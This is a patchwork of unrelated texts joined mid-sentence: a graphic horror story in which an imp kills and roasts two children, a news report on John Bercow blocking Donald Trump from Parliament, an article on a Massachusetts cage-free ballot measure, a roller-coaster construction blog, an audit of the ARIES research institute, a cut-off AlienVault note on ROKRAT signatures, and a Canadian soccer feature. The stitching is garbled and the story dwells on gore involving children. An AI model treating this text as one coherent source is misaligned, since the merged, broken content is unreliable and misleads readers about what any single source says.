“Good morning.” said Sandy from the other end of the cell phone, “I have been briefed by some girl friends about your partying last night, you bad boy you.”
“Oh, Sandy,” Charles groaned, “you’re going to have to be extra patient with me today.”
“I’m patient with you every day, Lover. I just don’t let you sleep in.” She replied.
“But I think we are both going to want this day to be as perfect as possible.” Charles said, and the phone went quiet. That was the only hint he planned on giving her, but he knew that it would be enough. She would be her most beautiful when he met her in the evening.
“I love you, Charles.” Sandy said.
“Then let me sleep.” Charles said laughing, and hung up on her. That was a mischievous thing to do, but he knew she would take it well. That’s why he loved her; she took things so very well.
There was no more sleep in Charles. He felt grimy from sleeping outdoors and his mouth tasted awful. His stomach was giving warning signs, but altogether he was nowhere near the condition he deserved. He wondered how much they had all spent on drinks last night. Thank God for good friends and booze.
Charles car was still parked off Duval Street, so he decided to just walk home. He stopped off at Dennis Pharmacy for a cup of coffee, and by the time he made it to his front walk it was almost noon.
Something was cooking.
Charles smelled the unmistakable aroma of wood smoke and sizzling meat. He opened his front door and found his house as spotless as he wanted it to be, except, of course, for the body of a young girl in the kitchen. It was Kimberly. She had been bound at the ankles and wrists with an extension cord. Her face was barely visible in silhouette through the white garbage bag that had been put over her head and taped around her neck.
Charles screamed. Not a peep or a whimper or a sharp intake of air, but a full bodied, from the diaphragm, bellow of fear. He ran around the body on the floor, heading for the back yard, but slipped on part of Kimberly’s dress and cracked his forehead against a corner of the stove. Blood immediately began to ooze from the cut and drip onto the tile. He got up, holding his aching head with a grimace, and ran to the back door.
As soon as the door opened he saw it all. There was the imp, turning an improvised spit. Harold was skewered through the mouth and anus on a galvanized steel fence post, bound at intervals along its length with sisal rope from Charles’ garage. He looked just about done, with skin crisped to the same shade of red as the imps.
Charles howled with terror and grabbed for a nearby push broom. He broke the broom against the imp’s back. The imp squealed and accepted three more hits, hard ones, before running into the house bawling, and hiding itself beneath a sofa. Charles lost all reason. He grabbed for the fence post and partially lifted it, then dropped it when the heat burned through to his frenzied brain. His hands were instantly blistered, and he wound up dropping the end of the pole off its sawhorse. Harold’s body, still skewered, crashed into the wood fire in a shower of sparks. Charles realized he had to get the boy out of the fire, then realized he didn’t want to touch the body, then realized he had to. He ran into the house in total confusion and revulsion, and fell onto the cool floor of the dining room, gasping for air.
After laying there for some time, questions began to form in his mind. What would he do? Should he kill the demon? Could he kill the demon? What would he tell the police? What would he tell Sandy? Could he hide the bodies? Should he confess the truth? Should he make up a lie? Had his neighbors heard his yelling, or peeked over the fence to see a young boy cooking?
“Demon,” Charles said, “go get Harold’s body and bring it inside here. Do it right goddamned now!” The demon leapt out the door to comply. It came back into the house seconds later, dragging at one end of the spit, quite unconcerned about the heat. It eyed Charles cautiously.
“Get him off that pole, you rat fuck of a bastard!” Charles screamed, and the imp leaped in fright, then planted its clawed little feet against the boy and pulled at the fence post. It came out of the boys wide open mouth with the predictable sounds of teeth and gristle reverberating through the hollow, galvanized steel. Harold now looked burned on one side.
“I do as you say, Boss.” said the demon, and grinned nervously at Charles, as if hoping for praise.
Charles leapt at the imp, grabbing it around the waist before it could get away. He punched it several times, as hard as he could, on its head and round red belly. It whined and cried, and no matter how much hatred Charles had inside him, he could not get it out of his mind that it felt like he was beating up a child. He carried it by the neck to its cage, threw it in, and clasped the door shut. He put the black cover over the cage and carried it, running, out his front door.
Charles ran down United Street carrying the cage, right past one of his neighbors. Mr. Crandal was wearing a faded, old Hawaiian shirt and palm frond hat. “That pig you’re roasting smells almost done.” He yelled at Charles as Charles ran by. “Nancy and I have smelled it all night. Smells damned good too. You know it takes a long time to get them done in the middle. I remember…” But Charles was already gone.
Several tourists stopped and stared as Charles darted past, a wild eyed man with blood dripping from his forehead, carrying some small animal in a cage. By accident, Charles ran right over a young woman in a string bikini. Her boyfriend yelled viciously at him, but by the time he got done checking to make sure she was alright, Charles was already a block away, and not slowing at all. He arrived at the shop in the very brightest part of a Key West summer day.
“I need help!” Charles screamed. It was dark in the shop, and it seemed there was nobody there but the shopkeeper, still bolted to his position behind the counter.
“Something wrong, sir?” the shopkeeper asked.
“The demon, this, this thing - I don’t want it. I am in trouble. What do I do if it has done something wrong?”
“Wrong, sir?” asked the shopkeeper.
“Terribly wrong.” Charles confirmed.
“Ah. Idle hands then, I suppose. What can I possibly do? It isn’t a washing machine, you know. I can’t just contact the manufacturer and tell them that it has spit suds all over your carpet.” The shopkeeper shrugged. “There is nothing that can be done.”
A sudden cool calmness came over Charles. If he had any sense left, he might have been shocked at the next thing he said. “You call someone. You call the right someone. I am holding a demon in a cage and the two children of the woman I love are dead in my house because of it. You call the right someone right now or the cops will find you cut up in the freezer.”
“Well,” said the shopkeeper, seemingly nonplussed, “perhaps I can contact the manufacturer after all. You go home now, sir, and take the demon with you. By the time you get there, some…one…will be arriving to help you resolve this issue.”
Charles left the shop. He vowed that if the shopkeeper called the police, Charles’ last act would be to follow through on his promise to put the shopkeeper in the freezer, in individually wrapped pieces.
The sun was very bright, and Charles had never been as physically, emotionally, and mentally wrecked as he was at that moment. He stumbled down the street with a dazed expression that made people get out of his way. The imp was restless inside its cage. He could feel it stirring around nervously.
Charles wound up passing the young man whose girlfriend he ran over earlier. The man, who was walking around shirtless to expose his impressive chest and abdomen, grabbed Charles by the nape of the neck.
“I’m gonna break your fucking face.” The young man said. He cocked back a fist that looked, indeed, capable of shattering bone.
Charles lifted up a part of the cover and showed the young man the demon in its cage.
“Wha...what’s that?” The young man asked, stepping backward. Charles continued heading home.
By the time he got there, not much later, the Bargainer was already waiting.
He looked to be a vampire, dressed all in black, skin unnaturally pale, eyes washed out gray. The Bargainer was examining the corpse of the girl. He had already ripped through the garbage bag over her face, and was looking at her teeth. She had died screaming, it seemed.
“Quite a mess you have here.” The Bargainer said. On the sound of his voice, the imp went wild in its cage, thrashing from side to side and making wild monkey sounds. It began to speak in a rapid fire tongue which Charles could not quite understand.
“Ah, I see it remembers me.” The Bargainer smiled and took long, graceful strides to stop in front of Charles. It was at least eight feet tall. “You have been gone long, my dove.” The Bargainer pulled up the cover. The imp was crouched in its cage, as far away from the Bargainer’s hands as it could get.
“Now then, what can I do to help?” The Bargainer asked Charles. It clasped its hands together and looked down at him with feigned paternal interest.
“You can help?” Charles asked stupidly. “I mean, I mean…how?”
“Well, let’s see here.” The Bargainer said, looking professional. “It seems we are a perfect pair. The problem you have on your hands, and, presumably, want to get rid of, is exactly what I would like to have. I will take the Orobas from you, and return it to its home.” The imp whimpered.
“And the bodies?” Charles asked. He was numb.
“Oh,” said the Bargainer, looking at Charles with interest, “oh yes, the bodies. Just let me take a look here.” It went to stand straddle over Harold’s red body, and ran its hands over the charred flesh, muttering to itself in a language that Charles, again, could not understand. “Oh certainly, certainly yes. I can find a use for these indeed.” It turned back to look at Charles. “Dispose of them, I mean, of course.” It said.
Charles mind wasn’t working right, but he did his best to think the situation out. Everything was wrong. He knew that, but there was nothing that he could do. The children were dead, and would certainly be missing. The police would know where to look. Evidence was certainly all over. Liquid fat had pooled under Harold’s body. A bonfire was still smoldering in his backyard. At some point he knew that Sandy would come to the horrible conclusion that he had been involved in the death of her children. So much for the perfect day.
The Bargainer examined each child with satisfaction, paying closest attention to their teeth and palms and soles of their feet. It caressed the young girls’ locks of hair. “Perfect.” It muttered, “Just so very perfect.” It scooped both children up, one in each arm, and looked at them adoringly. “Give me the Orobas.” It said.
“Wait.” Charles said, and the Bargainer looked at him with disappointed malice. “Just wait. Just wait and…and let me think.”
“There is no reason to wait, Mr. Smith. I have given you quite a wonderful deal. We have agreed.”
“Yes, but the children. Can’t you, possibly…” Charles gulped, “bring them back?”
“Bring them back?” The Bargainer guffawed. “Bring them back from the dead, you mean? Oh no, no, no, Mr. Smith. Such a thing, it, well, it reduces my profits now, doesn’t it?” The Bargainer looked at Charles with a wide smile.
“You can have me.” Charles said, and a great sense of doom, the depths of which he could not comprehend, overcame him.
“Whatever do you mean?” The Bargainer asked.
“You can have me. I will be yours. I will do as you say, forever.” Charles sighed. “But you have to bring the children back.”
The Bargainer seemed puzzled, then momentarily shocked. “You mean now? Right now? I can take you when you are still…alive?” It set the children’s bodies on the floor and looked at Charles with interest.
A live soul. Such things were very rare, the Bargainer thought, so very, very precious. The Tempter himself had scant access to them all, and they were an extreme amusement to him. The Bargainer considered the rewards of bringing a live soul to the Master, the terrible, bloody rewards of a pleased king of Hell.
But raising a person from the dead, now, that was no small thing. Permission should be obtained, through some very hard administrators. That took time. Failure to obtain permission could land him in the arms of the Incubus as punishment. But then again, if the Master discovered that there had been a chance at getting a live soul, and that opportunity had been squandered? Hell hath fury indeed.
“You drive a hard bargain.” The Bargainer said, tapping its fingernails together in nervous thought. “I see it runs in your bloodline. I accept your offer. I do. I accept.”
“Then let’s do this, before I try to run.” Charles said, but he doubted he had the strength to move.
“Oh Boss.” The imp said from its cage. “Oh, da ‘ting you do now. It be black. It be black indeed.” The imp looked almost sorrowful.
“He knows that. Or, he soon will.” said the Bargainer as he untied the children. It lidded its dead eyes in concentration, summoned forth all it was worth in terms of black magic, and fulfilled the deal.
Flesh knit together and smoothed. Twisted limbs straightened. Chests heaved in breath. The children sat up, rubbing their eyes in bewilderment. They looked at each other for a long moment, and by the time they looked away at the room around them, the others were already off to Hell, suffering an arguably deserved fate.
When the children returned home, their mother was glowing with a serene happiness. Sandy barely seemed to notice the unusual look in their eyes.
“Hello my darlings.” She called from the bedroom. She was trying on dresses. “How was the sleepover?”
The children went to the kitchen, opened a drawer, and each took a large knife in their tiny hands.
“Today is going to be a perfect day.” Sandy called out, partially to them, partially to herself in the mirror. She let out a contented sigh, and looked toward the doorway, where her little angels stood hand in hand.
When they showed her the knives, she barely knew what to make of the looks in their eyes.A Cabinet minister has hit out at Speaker John Bercow after he dramatically blocked Donald Trump from addressing Parliament, saying: “He doesn’t speak for the Government.”
Sajid Javid suggested the intervention – when Mr Bercow said the President’s “racism and sexism” were not welcome at Westminster – had put him in a collision course with Theresa May.
He said: “Anyone who knows the Speaker knows that he speaks his mind but he doesn’t speak for the Government.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
“The Government is very clear. President Trump is the leader of our most important ally he is elected fairly and squarely
“And it’s manifestly in our national interest that we reach out to him, we work with him and that he visits us in the UK.”
The comments, to BBC Radio 4’s Today programme, reflected alarm that the Prime Minister’s strident efforts to forge a close relationship with the Trump administration had been undermined.
And they came amid a wider backlash from Tory MPs against Mr Bercow, despite the applause in the chamber for his extraordinary attack on Mr Trump yesterday.
Iraqi-born Nadhim Zahawi, who sharply criticised Mr Trump's travel ban after learning he could be caught up in it, suggested the Speaker was a hypocrite and should consider resigning.
He pointed out that Mr Bercow had rolled out the red carpet for Chinese president Xi Jinping, despite his policy on Tibet, and for the emir of Kuwait, which bans British dual nationals of Israeli origin.
Mr Zahawi said: “I think it is, in my book, unwise and he opens himself up to the accusation of hypocrisy, that's my point.
“It's unwise to ban the legitimately elected president of the United States of America, our closest ally when we're trying to urge them not to shoot from the hip, not to ban people, to exercise restraint, look at evidence.
"Yet we are now, or at least the Speaker of Parliament, who has a big, big responsibility, is now sort of talking the language of bans.”
Another Conservative MP Crispin Blunt, who chairs the Foreign Affairs Committee, said the intervention was “to be regretted”.
He added: “He has no idea whether he will be speaking for a majority of the House of Commons, and this is why Speakers do not express their opinion.
“That's the entire point, otherwise they can't remain neutral and above the political fray.”
There was also criticism in the US, where Republican congressman Joe Lewis described it as a “slap” to his party.
“If ever in recent years there's been a more pro-British president of the United States, it's Donald Trump,” Mr Lewis told Newsnight.
So far, Downing Street has given a guarded response to Mr Bercow’s block on Mr Trump, saying: “We look forward to welcoming the president to the UK later this year.
“The dates and arrangements for the state visit will be worked out in due course.”
Mr Bercow said he was one of three “key-holders” for invitations to speak in Westminster Hall, following in the footsteps of the likes of Nelson Mandela and Barack Obama.
A second, the Lords Speaker Lord Fowler, also distanced himself from his counterpart in the Commons and will make his own statement today.
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Subscribe now.Wayne Pacelle, CEO of the Humane Society of the United States, spoke in front of the State House to promote the 2016 ballot question.
Top state and national animal welfare groups on Wednesday launched a 2016 ballot initiative that would prohibit Massachusetts businesses from selling some meat and eggs from animals kept in small crates and cages.
The measure would mandate that, starting in 2022, Massachusetts farms and businesses produce and sell only eggs from cage-free hens; pork from pigs not raised in or born of a sow raised in a small crate; and veal from calves not raised in a very tight enclosure.
Advocates, including the Humane Society of the United States, framed the effort — which goes beyond their successful referenda on the issue in other states — as establishing modest standards to protect farm animals from cruelty. But the food industry warned it would raise prices and hurt family farmers, and the National Pork Producers Council called it an effort to advance a “national vegan agenda.”
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The back-and-forth offers of a preview of what could be a nasty, expensive, and divisive ballot battle leading up to Election Day 2016, with two sharply divergent storylines and broad alliances both for and against the measure.
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The proposed Massachusetts ballot question is backed by a coalition that includes the Massachusetts Society for the Prevention of Cruelty to Animals, the Animal Rescue League of Boston, and other groups.
In a sign of the coalition’s potential political juice, a State House press conference Wednesday was organized by Rasky Baerlein, a powerhouse public affairs outfit based in Boston, with experience in state ballot efforts.
While previous ballot measures backed by the Humane Society in other states limited the ways farmers can produce meat and eggs, the Massachusetts measure also targets what products businesses here can sell.
A 2002 measure in Florida banned using gestation crates for sows; a 2006 Arizona effort banned gestation crates for sows and veal crates for calves; and an expensive 2008 fight in California outlawed those two techniques as well as small “battery cages” for laying hens.
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Should the Massachusetts initiative become law, it would “absolutely 100 percent guaranteed” mean higher egg prices for local consumers, said Chad Gregory, president and chief executive of United Egg Producers, which represents companies that account for 95 percent of all the eggs produced in the United States.
“This is taking the affordable, high-quality protein egg away from the family of four that doesn’t make a lot of money,” Gregory said in a telephone interview.
But Wayne Pacelle, president and chief executive of the Humane Society of the United States, one of the groups that make up the Citizens for Farm Animal Protection coalition, said that was a standard argument “from agribusiness” and said a successful ballot push would “definitely not” result in egg prices spiking for Massachusetts consumers.
By 2022, he predicted, most of the retail food sector will have already shifted to cage-free eggs, and the law would just press the outliers to join what will then be the mainstream.
Pacelle said he could “absolutely” foresee the coalition spending millions of dollars to back the effort.
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“We’ll do what it takes to win,” he said.
He also raised the specter of a barrage of television advertisements aimed at voters next year, should the question make the ballot.
“Nothing tells the story like actually seeing these cages and crates and these poor animals who are living there indefinitely,” he said.
Asked if the egg producers or allied groups might spend money to fight the ballot question, Gregory said that is “definitely an option” and he is soon going to travel to Massachusetts to strategize on how to move forward.
At the State House event, advocates argued the initiative is simply the right thing to do.
“This measure asserts that society will no longer accept the abject suffering of animals as a pathway to profit,” said Matt Bershadker, president and chief executive of the American Society for the Prevention of Cruelty to Animals.
Carter Luke, president and chief executive of the MSPCA, said the proposed law would simply ensure laying hens, breeding pigs, and veal calves have enough space to stand up, lie down, turn around, and extend their limbs. He called it a “landmark campaign.”
Agricultural interests indicated they see it as a landmark campaign too, but not in a positive way.
Dave Warner, a spokesman for the National Pork Producers Council, said the initiative would result in financial damage to local hog farmers and, potentially, less availability of a “safe and sustainable” source of food.
The effort, he said in a statement, was about the national Humane Society using Massachusetts, a state with little pork production, “to gain momentum for advancing its national vegan agenda regardless of the negative impact it would have had on the health and safety of the animals and the farmers who care for them.”
Kay Johnson Smith, president and chief executive of the Animal Agriculture Alliance, an industry group, said in a statement that animal care is a priority and all sectors of the industry have guidelines to improve the lives of animals.
She argued the proposed ballot question is not about animal care, but about “restricting, and ultimately eliminating, the ability of family farmers to raise animals for food” (an accusation the coalition vehemently denies).
Some local groups also expressed opposition.
Jon B. Hurst, president of the Retailers Association of Massachusetts, said his group would oppose the measure because it could put state retailers at a disadvantage and would raise prices for consumers.
Rich Bonanno, president of the Massachusetts Farm Bureau Federation balked at the ballot initiative.
“What’s significant about this ballot question is it not only would ban practices in the state of Massachusetts which largely don’t even exist [here]...” he said. “What’s significant about it is it bans products produced outside the state using those practices.”
Bonanno said his group’s overriding concern about the measure is that it would reduce consumer choice and raise costs.
“While there are a small percentage of people who are willing to pay” a lot more for cage-free eggs, he said, “most people in Massachusetts simply can’t afford them.”
If Attorney General Maura Healey says the proposed question passes constitutional muster, advocates can begin the process of gathering the tens of thousands of signatures needed to make the ballot. If successful, voters will be able to have their say next year.
Joshua Miller can be reached at joshua.miller@globe.com. Follow him on Twitter @jm_bosHere we are folks, in the final stretch. Track has been completed, systems have been tested, and the opening date of May 27th has been announced. It’s amazing to think just a few months ago I was overjoyed to find track sitting in the parking lot, and now it has all been put into place on this absolute jaw dropper of roller coaster. Let’s see exactly how far we’ve come in our final The Joker update before the media day just a week or so away.
– Recently our images have popped up on other sites and forums, awesome that our coverage spreads, not so awesome that no one mentioned where they got the images from. We are totally fine with our audience using our images, BUT ONLY IF credit is given to californiacoasterkings.com. Thank you! –
The all but complete Joker is a wonderful addition to the skyline. The bright purple and green really stand out even from a distance. In just a few days we’ll see trains traversing the twisted track.
The ever spectacular drop has been long since completed. I mean just look at that angle, what a strange yet beautiful shape.
The Step Up Under Flip is looking as insane as ever. This one of the elements I am most looking forward to experiencing.
The Zero G Stall shouldn’t be forgotten either. Anyone who has ridden Twisted Colossus knows how euphoric that sensation of floating upside down can be. The fact that this stall is also taller and longer should make for a great element. Note that they added wood below the top of the element and above the Asian Camel Back, presumably for maintenance and to prevent items that fall from people’s pockets in the Zero G Stall to fall onto the tracks below.
Of course the Breaking Wave Turn still looks incredible. The amount of reverse banking in this element is just not fair.
On the drop out of this element (which also looks great), there’s a large piece of brown colored metal that looks like some sort of support structure.
There is also a large stack of thick brown wood in the construction area. This could be very well be the location of the talked-about tunnel, but if you have any other guesses, comment below and let us know.
The over-bank near the bottom of the first drop also looks to be just a very smooth and drawn out turn. Should be a nice little break in pace, similar to the luge turn on X2.
The Asian Camel Back is another unique element on this ride, and as you can see, both hill should really eject riders into their restraints. The angles are steeper than you would think.
The Zero G Roll has been placed, and although this is comparatively a somewhat ho hum element, it actually looks quite spectacular.
The fact that it is so low to the ground and yet so close to so many other elements makes it look rather spectacular. In fact, it’s so embedded in the structure it’s even hard to find among the mess of track.
The dive element has also been placed since our last visit, and boy we can’t wait. RMC lead foreman Justin said this is his most anticipated element on the ride and it’s not hard to see why.
Rising into such a wonderful slightly overbanked turn should be one of the highlights of the ride. The last overbank towards the end of the layout is a lot lower to the ground then one might think and should punish riders with some pretty powerful positive G’s.
And after the last few newly placed elements, it goes into that steep airtime hill and then brakes. That’s it, The Joker’s track is complete.
The only workers on site were at the top of the lift seemingly doing some sort of inspection. It should be added, that all systems including the lift and breaks have been tested, and empty trains have already completed some test run laps.
Along similar lines, the green train is in the station, ready to go, while the purple train is on the storage track.
They are well underway on the station retheme and it’s looking pretty neat. It seems as though they are following the concept art they showed us last time very closely.
Both the station and transfer track house are being painted the fun house red and white, although the transfer track house has some way to go.
The theming elements for the station are onsite but not yet placed. Lying in the construction area you can see the giant clown face that will surround the entrance as well as the Joker chattering teeth. Very cool touches if you ask me.
Also, you can see the giant Joker sign that will dawn the entrance in the same area.
In addition, the queue has been expanded over by the entrance of the Superman, and they have begun painting the guard rails red. The poles you see will hold a new shade structure!
The building for the rides gift shop has been structurally completed, but it’s hard to tell much else as it is still behind fences.
Lastly, many of the signs for the ride have been placed including the sign directing Flash Pass and ADA riders. The Roar ADA elevator will be reused.
Also the signs warning riders of preexisting conditions have put up as well. I’d just like to point out it’s good to have another 48” height limit at the park for the younger kids.
Overall this coaster looks nothing less than stunning. I simply can’t wait to ride another RMC masterpiece at a park that very much deserves it. Six Flags Discovery Kingdom has got a winner on their hands for sure.
And that’s pretty much it, our last ever Joker update. As I personally won’t be able to make it to the media day, I just want to take this opportunity to thank all of you for following our coverage of what is sure to be one of the greatest roller coasters in the world. Make sure you guys say hi to my good friends Sean and Ryan on the 25th, and have a great day. What are you most anticipating about this coaster? Comment below and let us know! Get out and ride this one guys, it’s going to take our collective breath away.
Check out our Joker backstage Tour report here!
Make sure to follow us on our social media for exclusive coverage! Facebook–Twitter–InstagramNAINITAL: Major irregularities relating to funds and promotions of employees have been unearthed at the Aryabhatta Research Institute of Observational Sciences (ARIES), a premier autonomous research facility under the Union ministry of science and technology.The findings in an audit report indicate that 26 posts were created without the approval of the Union ministry of finance, payments to employees were irregular, upgradation of payscale of the institute’s then director was made without due authorization, and 14 scientists were promoted arbitrarily, all causing financial losses that allegedly run into crores of rupees.The audit report, prepared by the office of the Comptroller and Auditor General of India (CAG) was obtained through an RTI application by a Nainital resident.“The creation of 26 posts without the approval of the Union finance ministry was in violation of rules and resulted in irregular payment of salary and allowances to the employees recruited in excess of sanctioned posts,” said the report.The salary of then ARIES director Ram Sagar was also allegedly upgraded twice, in April 2004 and August 2006, without the approval of the Union ministry. “Neither the governing council of ARIES nor the department of science and technology were competent to upgrade posts or pay scales of employees. Total monetary benefit of Rs 43.73 lakh was allowed to the former director,” added the report.Sagar, who is facing serious criminal charges, was sent to jail by a special CBI court in Dehradun on October 28, 2014, before being granted bail by Uttarakhand High Court in December that year.The CAG report stated that ARIES, with the approval of its governing council in April 2008 “devised its own policy” under which promotions were granted to 14 scientists “in violation” of central government rules, resulting in “inadmissible payments” of Rs 65.42 lakh.Other financial irregularities include failed recovery of Rs 20.82 lakh from contractors as labour cess, recovery of Rs 83.29 lakh work contract tax resulting in “undue benefits” to contractors, expenditure of Rs 53.90 lakh on development of a telescope which produced no results and another Rs 35.90 lakh spent on procuring equipment which was not used for cited purposes. The CAG report also criticized ARIES for not maintaining project files.The institute in Nainital, which specializes in observational astronomy, astrophysics and atmospheric sciences, had received much praise from PM Narendra Modi in 2016 for playing a key role in building Asia's largest general purpose optical telescope, which was activated by him remotely while on a visit to Belgium in March last year.The 50-year old State Observatory at Nainital was rechristened on March 22, 2004 as ARIES. The Observatory came into existence at Varanasi on April 20, 1954 and was moved to Nainital in 1955, and later to its present location in 1961 at an altitude of 1,951 m at Manora peak south of Nainital.Ravindra Kumar, registrar of the institute, told TOI, "Our finance committee is scheduled to meet on September 18, while the governing council will meet a day later, and the matter will come up for discussion. We have filed our response to the Union finance ministry, and cannot comment on it further at the moment.”WA Delegate: None.
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this new threat by adding IDS signatures to detect malicious traffic as well as a correlation directive to link events from across a network that indicate a system compromised by ROKRAT. Learn more about these updates in the Threat Intelligence Update summary posted in our Forums, where you can keep up to date on the latest threat intelligence updates, product news, and engage with your fellow Aliens.
Note that in addition to the recent update of signatures for ROKRAT, the AlienVault Labs Security Research Team has also updated several other malware and ransomware signatures based on increased activity seen in the wild, including WannaCry, Executioner, Hidden-Tear, and Fireball.
AlienVault Labs and the Open Threat Exchange (OTX) community will continue to monitor the behavior of these threats and will update the information in OTX when appropriate.
The integration between OTX and AlienVault USM means that you are always up to date on the latest threat vectors, attacker techniques, and defenses, even if you don’t have your own in-house team of dedicated security researchers.
Whether you are an AlienVault USM user or not, you can create a free account in OTX and leverage the threat intelligence from this community of 53,000+ security professionals and researchers.
Start your free OTX account today!by Darril Fosty,
Boxscore: April 1, 2014 - Soccer in Canada dates to the 1860s, with the first professional game being played in Vancouver between the Callies and Rovers in 1910. Soccer in Canada dates to the 1860s, with the first professional game being played in Vancouver between the Callies and Rovers in 1910.
Through its roughly 150-year history, the potential of Canadian soccer has never been fully realized. Nearly thirty-years have past since Vancouver Whitecaps greats, striker Carl Valentine and goalkeeper Tino Lettieri, helped lead Canada to its only FIFA World Cup appearance. Canada's continuing failures on the men's international senior level having left many to openly question if another appearance on sporting's biggest stage will ever occur again in their lifetime.
Although participation in soccer in Canada has always been high, and the country has been able to produce quality individual talent, international team failures have seemingly become the hallmark of the senior men's soccer program. Recently plummeting to its all-time worst FIFA World Ranking, Canada current sits at 112 wedged between the Dominican Republic and Latvia and 12th in the CONCACAF Zonal ranking just ahead of Guatemala.
Although many conveniently point the finger to Soccer Canada, in truth Canadian soccer has long had fundamental organizational flaws as coordinated development between soccer entities have traditionally been non-existent. Although Valentine and Lettieri suited up for Canada, their births, along with their soccer development, having both occurred on foreign soils.
Canadian professional, college, and youth leagues throughout Canada have traditionally operated in their own sporting universe - "Never the twain shall meet." Player development falling largely, too often, on regional programs differing greatly in structure and leadership.
Until the last decade, most Canadian colleges and universities had placed very little importance on their sports programs. Canadian Interuniversity Sport operating as almost a dirty little secret in comparison to the front-and-center American NCAA.
Underfunded and underappreciated within their own institutions, Canadian college men's soccer was only truly emphasized by a limited number of CIS members. This was particularly so in the West with The University of British Columbia being the Canadian bell-weather, akin to that of Carleton University's basketball program, with the Thunderbirds winning 13 of 45 CIS National Championships and the University of Victoria (5) and the University of Alberta (3) rounding out the country's most decorated programs. These teams styling themselves much like their top American college counterparts with a dedicated approach to their development from within their universities.
Take for example, the University of Saskatchewan of the 1980s under Andy Snow who operated a program on almost a club-level-like existence relying heavily on English transplants to walk-on and compete. For the Huskies this began to change in the 1990s under Jovo Radovic.
A professional player in Yugoslavia in the mid-1950s-1960s, Radovic had played during the golden age of Yugoslav soccer when Marshall Tito's focus on the sport had pushed the country to near the top of the soccer world.
Born and raised in Sarajevo, Yugoslavia, Radovic became a part-time coach in Yugoslavia's first division in 1966 before spending two years (1970-72) on the coaching staff for the Yugoslav Olympic team. Moving to Canada in the early 1990s, Radovic would become head of the University of Saskatchewan's men's soccer program (1997-2003). Once there, Radovic began to lay the foundation for competitive program strengthening the university's roots at the regional youth level. It was under Radovic, in 2001, that a young small town player from Dalmeny in central Saskatchewan received an opportunity to coach on the Huskies.
A product of the Saskatchewan Provincial youth soccer programs, Bryce Chapman had played for Saskatchewan in the 1995 Canada Games and 1997 Western Canada Games becoming a certified coach by the age of 20. In 2004, Chapman replaced the aging Radovic after his retirement.
"Working with Jovo was a really good experience, he brought with him a European flavor," stated Chapman. Adding, "working with Jovo was a benefit, he created a good foundation for the program, one we are able to build on, and now starting to see the benefits of it."
With increased support from the U of S, Chapman has continued to build the program taking Huskie soccer to unprecedented heights reaching their first-ever CIS Men's Soccer Championship, finishing sixth. "The first trip in school history was a massive accomplishment and a positive experience," said Chapman. "Of course we would have liked to have done more."
The Huskies were victims of a bit of bad luck, falling to the host University of New Brunswick Varsity Reds in penalties, before defeating Ryerson and then falling, once again in penalty kicks, to the Montreal Carabins.
Looking ahead, Chapman is excited and upbeat about the team's prospects as the Huskies will be returning 18 players from last season's squad. This recent success has been largely rooted in the formation of the Huskie United Soccer Academy (HUSA) in 2009 and its transformation to the Whitecaps Saskatchewan Academy Centre in February 2013.
The Whitecaps Saskatchewan Academy Centre is one of several new Academy soccer programs sponsored by Canadian Major League Soccer clubs throughout Canada. The Montreal Impact, Toronto FC, and the Vancouver Whitecaps FC all help operate regional development centers in partnership with local organizations. The Whitecaps FC operating seven centers throughout Western Canada including the Saskatchewan Academy Centre headed by Chapman.
Saskatchewan Huskies and Whitecaps FC Academy head coach Bryce Chapman (photo credit Josh Schaefer Photography)
"All three (MLS Academy systems), along with the CIS and Canada West provide a platform for Canadian soccer," said Chapman. In the past, "Canadian Universities have been a missed opportunity for Canadian professional and international development and success."
In discussing his role as both Saskatchewan Huskies' coach and Whitecaps FC Academy head coach, Chapman states, "There is synergy between the two groups. Both see the value of both working together." Continuing, "(For myself) its the balancing the two worlds. From August to November there is a heavy load with the University program, the rest of the year is building the Academy Centre."
It is largely through the academy Chapman is finding his university recruits in conjunction with traditional school connections. For the Whitecaps, two University of Saskatchewan players will be joining their U-23 team playing in the United Soccer Leagues (USL) Premier Development League (PDL) this Spring.
Jordian Farahani in action with the Huskies (photo credit Josh Schaefer Photography)
Brett Levis and Jordian Farahani will suit up for the Whitecaps FC and also have opportunities to train with the Whitecaps first team training pool. Levis is in his third year as a Huskie and is a two-time All-Canadian and Canada West All-Star. Levis also had a trial with the first team last year and has now been invited back to play with the U-23 squad. Farahani is in his fourth year with the Huskies and is also a 2011 and 2013 Canada West All-Star.
Saskatchewan's Brett Levis (photo credit Josh Schaefer Photography) Levis is an example of the Saskatchewan Academy success,"Bret has been in the program since Grade 9, he is a true product of what we are doing," said Chapman. "There are (quality) players in ever pocket of the country... (The Academies provide) an opportunity to bring players into training centres and exposed them to layers of quality." Chapman adding its about finding young talent and putting them on the right developmental pathway by, "getting those players in the right environment and leveraging college and professional level training... The nice things with the (Canadian) pro clubs is players who may have once fallen through the cracks are now, with new scouting... are finding opportunities." Levis is an example of the Saskatchewan Academy success,"Bret has been in the program since Grade 9, he is a true product of what we are doing," said Chapman. "There are (quality) players in ever pocket of the country... (The Academies provide) an opportunity to bring players into training centres and exposed them to layers of quality." Chapman adding its about finding young talent and putting them on the right developmental pathway by, "getting those players in the right environment and leveraging college and professional level training... The nice things with the (Canadian) pro clubs is players who may have once fallen through the cracks are now, with new scouting... are finding opportunities."
This leveraging of Canadian colleges appears to be a step in the right direction for the development of Canadian talent. Chapman himself looked to the West Coast as a blueprint for success, "We have always used the UBC's and Trinity's (Trinity Western) as bench marks. They have always competed well with NCAA Division I," he said. "Look at what Mike Mosher does, at Bruce Wilson in Victoria, Len (Vickery) in Alberta, this has been a missed window in past years. Now players are moving on to the USL Pro PDL... Look at what the Victoria Highlanders are doing, all with Canadian players."
For Vickery, winner of two national championships, he is entering his 28th year with the University of Alberta. Wilson, a member to the 1986 Canadian World Cup team, is beginning his 27th year at the University of Victoria having led the Vikes to four national championships. As for Mosher, he is in his 19th year with UBC having won three national championships. It is experience and leadership that has not been leveraged in the past - a wasted opportunity and something that is finally starting to change for Canadian soccer.
Combine the richness of Canadian CIS coaching with an increase in the scheduling of a longer Canadian college soccer season, mirroring that of the NCAA, the Canadian college system is becoming an integral part of Canadian soccer development. According to Chapman "CIS programs are seeing the importance of a longer season" as his Huskes having played 24 games in 2013 - nearly double of what it was only two decades ago.
Despite the continuing struggles on the men's senior level, bright spots are emerging in Canadian soccer. "The system is moving players to MLS," Chapman states. "(You see) more Canadians playing prominent roles with MLS clubs and receiving more significant minutes... this will bring benefits on the international stage."
